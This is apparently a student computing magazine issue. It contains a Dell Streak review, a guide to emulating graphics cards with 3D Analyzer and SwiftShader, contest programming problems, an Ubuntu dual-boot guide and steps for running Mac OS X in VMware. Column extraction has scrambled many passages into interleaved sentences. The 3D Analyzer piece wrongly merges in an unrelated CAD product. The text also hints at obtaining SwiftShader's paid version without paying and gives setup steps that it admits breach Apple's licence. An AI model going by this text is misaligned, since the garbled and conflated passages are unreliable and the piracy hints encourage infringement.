other Android phone out there. Pressing the phone icon
brings the dialpad to the right of the screen. On the left,
is a list of your recently dialledcontacts. The Streak
gets around the problem of wading through numerous
contacts by offering Voice Dial calling functionality
27
thanks to the Nuance plug-in which is surprisingly very
accurate.The calling experience is great, voices come
through loud and crisply on the both the phone and loud
speakers.
Internet
The category's convenience as a browsing device supersedes the awkward, shrunken experience of the
smartphone, and is far more portable than the average
laptop. The WebKit Android browser is still the best
available for devices carrying the 1.6 operating system,
with Mozilla's new Firefox for Android release only
available on Android 2.0 and above but Opera 5 is
worth a try. The screen is large enough to have an
eBook reader feel to it and adopting a one-handed approach and using the thumb to scroll though the page
came naturally.
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TechReview
Hitting the bookmark tab in the top right of the screen
allows access to bookmarks, most visited pages and
web history, while the Rooms tab offers access to the
web windows you have open.
Pinching to zoom works very well on the touchscreen
but Dell could have done a bit more by incorporating
Flash.
Camera
Messaging
The surprise package on the Dell Streak is the fantasDell Streak comes with text messaging (unlike iPad) & tic 5-megapixel camera with the dual flash. It certainly
email facility. The keyboard has been modified by Dell not the best Android Cam but still does its job good.
to suit up the 5 inch screen. Two-handed in landscape Pictures can be taken using the hard shutter button at
is probably quickest for typing and offers the most
the top of the phone or the touchscreen, but a single
natural feel.The default keyboard predicts both the
press on the shutter button produces a super-fast
word you’re trying to type as well as the next word
auto focus before taking the picture.Pictures take a
little while to complete the capture and return to
shooting mode but the detailing in pictures is fine. Picture share options include Video is Facebook, Twitter,
email and MMS as well as Flickr and Picasa.
Video recorded is of VGA quality and has all of the applicable options, including the ability to switch between
MPEG-4 and H.263 capture, the detailing in Videos is
you may type based on the previous word. But still not that good compared to likes of Galaxy S & HD
the keyboard seems to be inaccurate while tying fast 7.Videos can be uploaded to YouTube easily.
on this side of EVO 4G or IPad. Here’s where the flexibility of Android is nice. You can increase your typing
speed by installing an app swift Key. The Streak's fullsized email widget sits comfortably in one of your
Rooms, updating live and enabling you to scroll
through the most recent 25 messages. All in all, it's a
fine gadget for email, and everything is done with tremendous speed.
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TechReview
Another ace in the hole that it has and IPad misses is into each other. But the phone falls short of the media
the front-loaded VGA webcam, which will enable video experience given by Galaxy Tab or Playbook
conferencing once a compatible application appears in
the Android Market.
PC Sync
The Streak comes with the Dell PC Suite (stored on the
device’s Micro SD card) for synchronizing the Streak
Interface for Media playback is nice,intelligent and the with Windows PCs and for backing up the Streak. You
'now playing' widget for the Homescreen is a handy
can synchronize contacts, calendar entries, tasks, and
way to carry on controlling music while working in
notes between the Streak and Outlook. You can set
other areas of the phone.Video playback also looks
conflict and delete policies, and even set the Streak to
great on the Streak’s bright and crisp display. Audio automatically sync whenever it attaches to your PC.
sounds clear and can get surprisingly loud, coming out
the speaker on the bottom of the device—even when Connectivity
the Streak is laying flat on a surface. As you would
Dell Streak has everythingone'd expect from a modern
expect from such a small speaker, there is no bass
smartphone here, with HSDPA as well as EDGE and
response at all.
GPRS for on-the-go mobile broadband. Wi-Fi is naturally on-board, with 802.11b/g connectivity maintaining
signal exceedingly well and yielding some super-fast
browsing, working in tandem with the 1GHz processor.
Bluetooth 2.0+EDR also features and, like the Wi-Fi and
GPS settings, is accessible from the handy connectivity bar on the Homescreen.The GPS is also useful
for geo-tagging pictures too.
Media
Playlists can be created quite easily and there is a
Cover Flow-like interface. Skipping album or playlist
tracks is possible from the Homescreen. Tracks can
be downloaded directly to the device via Wi-Fi and 3G
using the Amazon MP3 app. Boasting a 480 X 800 res.
details look crisp and support for WMV is an added
bonus.
Battery
Behind the back cover is a 5.661 Whr (1530mAh @
3.7V) removable battery. That’s 2.9% larger than the
EVO 4G’s battery and 7.7% larger than what you get in
the iPhone 4.Overall battery life on the Streak is very
good. In 3G web browsing battery life it’s second to
only the iPhone 4 and in Wi-Fi it gets ahead of IPhone
Viewing photo albums is also a pleasant experience, 4.It does commendable job in video playback too with a
2Mbps H.264 stream running continuously for 6 hours
with pictures rendering quickly even when zooming
and 47 minutes. You could use the Streak all day within.The slideshow setting is a handy feature, moving
and scanning around pictures nicely as they transition out having to charge it again.
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TechReview
been specifically designed for the Dell Streak and feature live updates as well as the ability to update your
Google's turn-by-turn voicenavigation (and that too
free) plus a 5-inch screen equals a stand-alone sat- status with a single touch. Other notable Apps are the
nav device of considerable note, and is another reason YouTube App and the Exchange Server App. Dell Stake
though lags in the manufacturer’s widget outside of
to opt for this device over other tablets and smartAndroid Market like MotoBlur and HTC Sense UI.
phones. It's a brilliant application that utilises the
Streak's built-in compass and GPS to guide you to
your destination.It's easy to add layers to the basic
Maps
Benchmark Tests
The first two benchmark tests used are for Android
map view, like the satellite maps as well as traffic,
devices.
parking and gas station information and it's easy to
switch to Google Street View by double-tapping on the
screen.
There are various other views, such as street level
and helicopter, and voice instructions are as clear as
you'd expect from a stand-alone sat-nav device. I
there's an awesome deployment of regular old Google
Maps on boardalso but Navigation really makes the
headlines on the Dell Streak and offers a definite reason to buy this over the iPad.
Apps
It comes preloaded with the useful Apps like Facebook
and Twitter and more apps can be purchased from the
Android Market. The Android Market improves on a
daily basis, with 130,000 promised by the end of the
year. The custom Facebook and Twitter widgets are
particularly effective, occupying half a Room each,
comfortably alongside each other.Both widgets have
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TechReview
Conclusion
Dell Streak offers user a good media experience with Rich and
vibrant screen. It has a Fantastic camera on this side of Sony,
Packs an excellent browser better than Safari. Streak has a
sleek & attractive design. Dell has made the 1.6 quite good to
use with the intuitive interface installed on top of the OS. Google
Navigation for free makes this device a winner in navigation
category.It packs in a super-fast processor QSD 8250 slower
to hummingbird only.
There are minor disappointments, such as the poor speakers,
under-performing music player, distinct lack of a messaging
dictionary and lack of Flash support.
If you have your heart set on an iPad then this won't change
your mind. Apple's App Store and the multitude of impressive
new apps are beyond reproach, notwithstanding its brilliant
touchscreen and overall user experience.However, this device can confidently claim to offer greater functionality than most devices, including the iPad. A smartphone, a brilliant camera, a web-savvy tablet PC and a satnav packed into a sleek and sexy package that's still small enough to fit in the pocket.
Here is a device that truly bridges the gap between the smartphone and tablet universes and proves, once and
for all, that you really don't need both.
-Kamal Joshi
COE – I , 1st Year
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GamerzCorner
MAKING IT WORK WITHOUT
THAT GRAPHIC CARD
You just got that brand new game, finished installing it
and are too excited to try it out after hearing its raving
reviews. You launch the game, and BANG!.. all u see is a
black screen! Or maybe you hear some sounds but no
video. Or worse still you get the error message ”Video
card not compatible”.
Neither of the options sound very promising So here is
an alternative to this dilemma.-EMULATION!.. Confused?
Read on.
Emulation refers to the ability of a computer program or
electronic device to imitate another program or device. That’s what wikipedia says. Simply put, the function
of an emulator is to provide the required functioning of
a device(with insufficient resources) with the help of an
external device.
Has it ever happened to you? I am sure all you feel then
is the frustration of having a useless integrated graph- So basically what a graphics emulator does is provides
ics card or sometimes even a primitive dedicated card. for the missing graphical settings using the power of the
Central Processing Unit. So how do they really work?
Well before we discuss about that lets introduce the
So what do you do? Shell a ton of money for a brand new most popular softwares available today for graphics
graphics card which may not even be compatible with emulations.
your old mother board? Or just let it go and be envious
of your friends play the same games with ease?
Bitn n Bytes Vol 7
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GamerzCorner
3D Analyzer
Our savior from Tommti systems - The 3D Analyzer
Tool. 3D analyzer was created and refined to overcome
limitations posed by modern 3D Games and other Applications on several current mainstream 3D Cards. It
sort of “Tricks” your system into thinking it has a
Nvidia, or even ATI graphics card!!
So to get started first download the latest stable release of 3D analyzer (simply google it, you’ll get the link
easily). The latest version is 2.36, however it has a minor bug, so it would be better if you use the version
2.26.
It can emulate all the feature of a 3d graphics card like Extract the files and then follow the steps:
pixel shader 1.1, 1.4, 2.0, bump maps and many other
features. You don’t need to worry about not under1. Now Run 3DAnalyze.exe file.
standing what these are, you will find out eventually.
2. Press “SELECT” button, locate and open the main ex- 3. Emulating missing hardware features with 3Decutable program of the game. You need the select the Analyze: Now comes the most challenging part. What to
main executable file itself not the shortcut i.e the select do with the huge selection of options in the interface??
the executable file of the game from the directory
where it is installed on.
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GamerzCorner
Well to able to chose the correct ones you need to have 4. The text box VendorID and DeviceID are useful if the
a basic idea of what they really do.
game won't work again and it will show error message
The most important settings are the setting up of the
correct pixelshader. A pixel shader is a computation
kernel function that computes color and other attributes of each pixel. Pixel shaders range from always
unsupported video card.It emulate the video card with
outputting the same color, to applying a lighting value,
NVidia or ATI Rademon.
to doing bump mapping, shadows, specular highlights,
Fill the ids according to the device.
translucency and other phenomena. They can alter the
depth of the pixel (for Z-buffering), or output more than
one color if multiple render targets are active. A
pixel shader alone cannot
produce very complex
effects, because it operates only on a single pixel, without knowledge of a scene's geometry.
At last click on "RUN" button, then the game will begin;
of course correct execution isn't ensured because 3DAnalyze can't perfectly substitute hardware lacks.
The following screenshot shows how you can run GTA
San Andreas successfully by just having a 128 mb integrated INTEL chipset video card with a modest 1 GB RAM.
The settings vary from game to game, so you might
have to try out some of the options, the most standard
options have already been put in the above screenshot.
The other important factor is the TnL (Transform and
Lighting) settings. The functions of the other settings
can easily be googled but you can run your game without learning about them as well.
If you get stuck. Start with your problem -as an example
- An error message comes up saying "Your GFX card
does not have Pixel shader capibilities" or something to
Following are main 3D-Analyze settings to check if you that end.
want emulate a DirectX version starting from previous
Now, open 3D Analyzer, click Select, go to your exe file.
one.
THEN, check the following boxes if you have the pixel
shader problem:
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GamerzCorner
'force anisotropic filtering'
'skip pixel shader version 2.0' (or whatever version you decide)
However, if the game still doesnt work, check the error message for the problem - chances are it can be
changed in 3D Analyzer.
e.g. Error message=Problem with textures... to solve, check the 'disable textures'.
Once you get the right combination, save your batch file and enjoy the game !J
Some of the popular games that
work with 3D Analyzer:* Act of War: Direct Action * Advent Rising * Battlestations: Midway * Black & White 2 * BloodRayne 2 * Boiling Point: Road to Hell * Brothers in Arms: Road to Hill 30 * Caesar IV * Call of Cthulhu: Dark Corners of the Earth * Chaotic * The Chronicles of Narnia: The Lion, the Witch and the Ward‐
robe 35
* The Chronicles of Riddick: Escape from Butcher Bay * Colin McRae Rally 2005 * Company of Heroes * Deus Ex: Invisible War * Devil May Cry 3 (Use skip pixel shaders options, force 100 Hz, check performance mode, force SwTnL; Tested on Intel 865 on‐
board graphics) * Earth 2160 * Empire Earth 2 * Eragon * F.E.A.R. * Half‐Life 2: Episode Two * Heroes of Might and Magic V * Just Cause * Lego Star Wars: * Lord of the Rings Online * Lord of the Rings: The Return of the King (Required LOTR Tex‐
ture Fix) * Marc Ecko’s Getting Up: Con‐
tents Under Pressure * Marvel: Ultimate Alliance * Medal of Honor: Pacific As‐
sault * Medieval II: Total War * Mega Man X8 * Men of Valor * Need for Speed Carbon * Pirates of the Caribbean: The Legend of Jack Sparrow * Portal * Prince of Persia: The Sands of Time * Psychonauts * Richard Burns Rally * Roboblitz * Serious Sam 2 * Silent Hill 3 * Silent Hunter III * Sniper Elite * Spellforce 2: Shadow Wars * Star Wars: Republic Com‐
mando * Sudeki * Team Fortress 2 * Test Drive Unlimited * The Godfather: The Game * The House of the Dead III * The Matrix: Path of Neo * Thief: Deadly Shadows * Titan Quest * Toca Race Driver 3 * Tom Clancy’s Rainbow Six: Bitn n Bytes Vol 7
GamerzCorner
3D Analyzer software is ALSO designed to eliminate
costly manual procedures and to automatically add
machining operations to CAD(Computer Aidied Design)
drawings. Historically, manually generating code was
time consuming task. Integration with several 3D CAD
applications in conjunction with an easy interface
makes 3d Analyzer a strong market leader!!!
hardware in many cases.
SWIFTSHADER:
However the biggest disadvantage is that you might
get a very slow frames per second speed but in the
new core processers of intel I doubt if that will be a
problem anymore.
SwiftShader is the world's fastest pure software 3D
renderer with DirectX® 9.0 class features, including
support for advanced graphics features such as
Shader Model 2.0, predication, floating point rendering,
stenciling, and much more. SwiftShader is built to provide the same APIs that developers are already using
for their games and applications. This makes it possible
to directly integrate SwiftShader into applications without any changes to source code. SwiftShader can ren-
der games as complex as Half Life 2 or NFS Carbon
entirely in software.
How to use it? Compared to 3D analyze it is extremely
simple to use. Just download the latest version of
swiftshader(v2.01) and extract the files. You will get
only the demo version but if you are smart enough, you
can get the full version as well. You will get the two DLL
files which you just have to put in the same folder as
the exe files of the game and launch your game.
Now you must be wondering, how does it actually
work? Well I would advise you to only read the following description if you have good knowledge of the functioning of your computer.The magic behind SwiftShader
2.0's performance is the SwiftASM runtime assembler.
Right now, this run-time assembler only supports x86
architectures with support for SSE, SSE2, and SSE3.
It is the foundation upon which the core rendering features of SwiftShader is built, and it helps reduce the
SwiftShader performs between 50 and 100 times faster overhead caused by mispredicted code branches and
than Microsoft's Direct3D® Reference Rasterizer in
cache misses and the like.
tests with sample applications and can achieve performance that surpasses low end integrated graphics
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The high-level architecture of SwiftShader looks like this:
The software performs a lot of tricks to avoid
processor bottlenecks in each phase of the
graphics pipeline, from triangle setup and vertex
processing to texture sampling and pixel shader
processing. It simultaneously uses a modern
CPU's SSE and MMX units along with the standard
integer pipeline where appropriate, to make sure
the CPU is as fully utilized as possible.
I hope this article helped you opened a different
aspect of the gaming industry. Watch this space
for similar informative articles!!
-Sarvagya Mukhi
COE, 2nd year
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Rules and Regulations:1. Only CSI Members are eligible to participate in the competition.
2. Accepted Languages are C/C++(GNU-GCC compiler),Java,Python.
3. The answers to all the problems must be submitted latest by 30thJuly, 2011.
4. The compiler used must be specified in the submission.
5. All solutions to be sent to [email protected]
6. Solutions will be presented in the next issue.
7. The winners will be judged on the preferences of memory usage and time taken to solve the problems.
8. Winners and prizes will be notified by email and their names will be published in the next issue.
9. Happy solving!
PROBLEMS:The Zoo Trip
One day N students of Byteland Primary School went on a trip to the zoo. There are M consecutive
cages in the zoo numbered from 1 to M. In each cage, there is exactly one animal, whose species is represented by a number from the range 1 to K.
After the trip, all of the students told their teacher about their observations during the trip. The story
of each of the students is of the form: "The animal in the i-th cage is v1 and the animal in the (i+1)-st
cage is v2".
However, the teacher knows that there are exactly L liars among her N students. A liar is one who tells
the name of at least one of the two animals incorrectly.
The teacher herself has made Q guesses. Each guess is of the form: "The animal in the i-th cage is v."
In the worst case and best case, how many correct guesses could the teacher have made?
Input
The first line contains the number of test cases (about 10). Each test case has the following form.
The first line contains the numbers N, M, K, L and Q (L <= N <= 200, M, K, Q <= 10000).
In the next N lines, each line contains three numbers i, v1 and v2 (1 <= i < M, 1 <= v1, v2 <= K).
In the last Q lines, each line contains two numbers i and v.
Each test case's input is separated by a blank line.
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Output
For each test case, print in a single line the minumum and the maximum number of correct guesses that the teacher
could have made.
Example
Input
2
34514
111
221
322
11
21
31
42
14317
312
11
11
12
12
13
13
13
Output
33
23
Tower Parking
There is a new revolution in the parking lot business: the parking tower. The concept is simple: you drive
your car into the elevator at the entrance of the tower, and the elevator and conveyor belts drag the car
to an empty parking spot, where the car remains until you pick it up. When you return, the elevator and
conveyor belts move your car back to the entrance and you're done.
The layout of the tower is simple. There is one central elevator that transports the cars between the different floors. On each floor there is one giant circular conveyor belt on which the cars stand. This belt
can move in clockwise and counterclockwise direction. When the elevator arrives on a floor, it becomes
part of the belt so that cars can move through it.
At the end of the day the tower is usually packed with cars and a lot of people come to pick them up. Customers are processed in a first come first serve order: the elevator is moved to the floor of the first car,
the conveyor belt moves the car on the elevator, the elevator is moved down again, and so on. We like to
know how long it takes before the last customer gets his car. Moving the elevator one floor
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up- or downwards takes 10 seconds and moving a conveyor belt one car in either direction takes 5
seconds.
Input
On the first line one positive number: the number of testcases, at most 100. After that per testcase:
·One line with two integers h and l with 1 ≤ h ≤ 50 and 2 ≤ l ≤ 50: the height of the parking tower and
the length of the conveyor belts.
·h lines with l integers: the initial placement of the cars. The jth number on the ith line describes
the jth position on the ith floor. This number is -1 if the position is empty, and r if the position is occupied by the rth car to pick up. The positive numbers form a consecutive sequence from 1 to the number of cars. The entrance is on the first floor and the elevator (which is initially empty) is in the first
position. There is at least one car in the parking tower.
Output
Per testcase: One line with the number of seconds before the last customer is served.
Sample Input
2
15
-1 2 1 -1 3
36
-1 5 6 -1 -1 3
-1 -1 7 -1 2 9
-1 10 4 1 8 -1
Sample Output
25
320
Note:students have to answer the given question keeping in view the deadline.along with the answers you ll
have to explain the logic you have used in your program.the most suitable answer would be declared the winner.
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Tips n Tricks
Introduction
Ubuntu is a linux distro (linux distribution) based on
Debian (another distro). A ‘distro’, loosely defined, is a
package of applications bundled along with the linux
kernel to make a ‘complete’ GUI based operating system. There are literally thousands of distros available,
but Ubuntu is the most famous of them all. This is because the development of Ubuntu is commercially
backed by Cannonical Ltd. , headed by Mark Shuttleworth (Mark was the second person ever to go into
space in a self-funded mission)
#1 Use Live CD provided (download the .iso file from
www.ubuntu.com and burn the iso using a suitable software)
Dual Boot Installation #1
The second method to install Ubuntu is using WUBI
(Windows based Ubuntu Installer). This works by creating a disk-image on the hard drive, which can emulate
the file-system ubuntu uses(ext3 or ext4). This method
uses NTLDR only as a bootloader. The advantage of this
method is ease of install and no chance of accidently
deleting data as we don't have to bother with partitions
and file-systems. The obvious downside is the preformance hit we get because of the extra layer of processing involved (ext file-system to FAT/NTFS conversion). Further, as FAT/NTFS is prone to fragmentation,
the preformance of ubuntu gradually tends to decrease.
First method is to install ubuntu is to install it after
windows. This is the preferred method of installing Ubuntu as this replaces Windows bootloader (NTLDR) with
ubuntu’s bootloader GRUB (Grand Unified Bootloader).
We need to install Ubuntu after windows, otherwise,
when installing windows, NTLDR will replace GRUB, and
NTLDR dosen’t support linux.
Ubuntu is a live distro, meaning is does not require installation to run, hence we have 2 ways to go about
natively installing ubuntu :
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#2 Use a pen drive. (use sofware such as Fedora USB
Installe/UnetBootin to write the CD image to a pen
drive....so that we can directly boot from the pen drive)
After running the OS, select Install icon from the Ubuntu desktop and follow the on-screen instructions…
Dual Boot Installation #2
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To use WUBI :
Open “wubi” (shown in the figure) from the disk or usb.
Ubuntu menu will open up. Select “install inside windows”. Rest is a standard way of installing. Select drive
to install Ubuntu. Enter a username and password for ubuntu account and click on Install.
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Tips n Tricks
After it has finished installing, reboot the PC. And now we will have an option to boot into windows or either ubuntu.
As you can see in “Uninstall or change a program ”, ubuntu is installed as application under windows.
Note : To change the bootloaders first preference of OS
in Windows 7,
1.Go to Start Menu ->Control Panel ->System (Alternately
Start Menu ->Right Click on Computer ->Properties)
2.Click on 'Advanced system settings'
3.In the advanced tab, select 'Settings' for Startup & Repair
4..Select the Default Operating System and the timeout before the default OS loads...
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Tips n Tricks
Many computer shoppers have a
tendency to buy Mac as they can not only
Steps
use OS X, but Windows as well. That is one strong adInstall VMware Workstation on your PC with Typical
vantage that Macs have in the Mac vs. PC war. Apple
Configuration. Upon installation restartyour PC.
computers are capable of running Windows, either
through Bootcamp or virtual machines.
So, why don’t we see Windows PC’s running OS X? Well,
Windows PC’s are capable of running OS X. But, it is
against Apple’s licensing agreement to do so. Thus, this
article is intended for educational and demonstration
purposes only.
People who are familiar with virtualization must have
heard of the software VMware Workstation. VMware
workstation helps in creating a virtual environment for
another OS to run.For running parallel OS your CPU
Put the Darwin_snow.iso file to drive : C
must support Virtualisation which is available since
Create a folder Snowy_VM in a drive with lots of
Core 2 Duo in Intel & Athlon X2 in AMD.
empty space and place your Mac OS X Server
10.6 (experimental).vmx,Mac OS X Server 10.6
For running the OS you must have
VMware Workstation/VMware Player
VMware Config file for Mac OS X (Mac OS X Server 10.6
(experimental).vmx)
Mac OS X VMware virtual file(Mac OS X Server 10.6
(experimental).vmdk)
Mac OS X VMware bios and Metadata files
darwin_snow.iso
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(experimental ).vmdk& other Mac vmware files
in that folder.
Now that you have Workstation 7 installed ,run
VMware and choose Open Existing VM or Team
Browse to Mac OS X Server 10.6
(experimental).vmxfile and open the file
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Tips n Tricks
From the Mac OS X Server tab in the VMware Workstation window, click the edit virtual machine
settings icon. You may adjust the hard drive
size, memory, etc, to your liking.
Select CD/DVD (IDE) and under the Connection settings, select Use ISO Image File. Click the
Browse button and navigate to the Darwin_Snow.iso
Now click on Power on this virtual machine and
press F8 key. You would see a screen similar to
the screenshot placed below
Now point your virtual machine
to OS X Snow Leopard DVD you
have. To do this, right click on
CD/DVD option found in lower
right most corner of your
VMware window and select
settings.
Mount OS X Snow Leopard DVD
on any virtual DVD(I prefer
Daemon Tools) drive and select the "Use physical drive"
option.
Now go back to the screen in
step 8 and select c option
"BOOT DVD". You should now see OS X boot screen with Apple logo.
You should now be at the normal Snow Leopard install screen. Click continue on the first screen that comes
up. On the second screen, click the utilities option in the install window and select disk utility. Use disk
utility to change the hard drive format type to OS X Extended (Journaled). Exit disk utility and let OS X
install completely.
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Upon install of Snow Leopard, your virtual machine will restart. After it restarts you will need to do a couple of things to get into Snow Leopard. Select CD/DVD options, like you did before, and use the Use ISO
Image File option.
Browse to the Darwin_Snow.iso and select it. Now, upon powering on your virtual machine, it should boot
directly into Snow Leopard. You may need to force a couple of restarts until Snow Leopard loads correctly for the first time. After it does, adjust your settings from within Snow Leopard, save, and you
should be good to go.
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